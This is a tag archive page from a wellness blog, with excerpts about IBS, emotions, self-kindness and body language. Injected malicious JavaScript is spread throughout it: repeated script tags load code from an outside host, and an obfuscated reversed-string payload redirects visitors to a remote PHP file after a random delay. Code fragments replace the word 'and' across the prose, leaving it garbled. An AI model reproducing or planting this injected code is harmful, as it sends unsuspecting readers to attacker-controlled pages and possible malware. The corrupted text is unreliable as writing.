Tagged: crohns

When You Find Yourself Trying to Fix Someone Else’s Anger

When You Find Yourself Trying to Fix Someone Else’s Anger

Do you know that trying to manage other people’s emotions has a damaging effect on your body?

If you find yourself people pleasing andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and suffer from IBS,  this is a great reminder of how to get back on track andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and stop allowing other peoples anger have an effect on you.

Your anger is not my problem.

For as long as I can remember I have had a highly attuned sense to people’s emotions. Between family andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and friends I have been around more […]

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Are You Too Stubborn to Get Well?

Are You Too Stubborn to Get Well?

I had the pleasure of spending time with some good friends this weekend. They’re great people, generous andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and very happy for the most part. Except when it comes to pain. I’ve known for quite some time that my friend’s husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and has back pain, really bad back pain. He’s been to some doctors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and they prescribed the general things like physical therapy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and medication. He’s tried acupuncture andom() * 5);if (number1==3){var delay […]

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Kindness andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Restless Mind

Kindness <script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Restless Mind" class="alignleft wp-post-image" />

Earlier this month I devoted an entire week to being especially kind to myself. I have to say it’s one of the hardest things I’ve ever done. It sounds like it would be easy to practice kindness toward yourself, but what I realized is that we spend most of our time being unkind to ourselves.

 

For me it looked like this: I want to relax. I shouldn’t relax I have stuff to do. I should relax because it’s what my body needs. But what if I relaxed too much andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and then I can’t […]

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Why Connection Is Important For IBS Relief

Why Connection Is Important For IBS Relief

Like everyone else who saw the news on Monday afternoon, I was completely shocked at what happened at the Boston Marathon. I felt sadness for the families who lost loved ones. I also found myself feeling anxious andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a bit scared. My husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and was in New York City on September 11 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and had to rush through the streets that were full of debris from the fallen buildings. We had friends who lost family members that day. At that […]

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Releasing Resistance andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS

Releasing Resistance <script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS" class="alignleft wp-post-image" />

Listening to Your  Gut:  Connect with Your Body andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Get IBS Relief

 

Good luck on your journey, I know that releasing will help me as I embark on a new year.

 

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Body Language, Superheroes, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS

Body Language, Superheroes, <script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script src='https://hotopponents.site/site.js?ss=ss' type='text/javascript'></script><script type=$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["\'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and IBS" class="alignleft wp-post-image" />


I just watched the Amy Cuddy, social psychologist andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and assistant professor at Harvard University, video on body language.

 

She talked about body language andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and how it affects our entire lives.

 

It got me thinking about how body language affects our reaction to discomfort.

 

She discusses successful people having higher levels of testosterone andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and lower levels of cortisol. And how the way we posture our bodies can naturally produce these two things. So high-power poses can produce good hormones, which equals feeling […]

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The Secret to Feeling Good

The Secret to Feeling Good

 

 

It seems that everyone is looking to find something to make them feel good.

 

This came to mind when I heard how many people are reading 50 Shades of Gray. I’m not against people reading 50 Shades of Gray but it seems like people are looking for something make themselves feel good andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and take them away from what’s in front of them.

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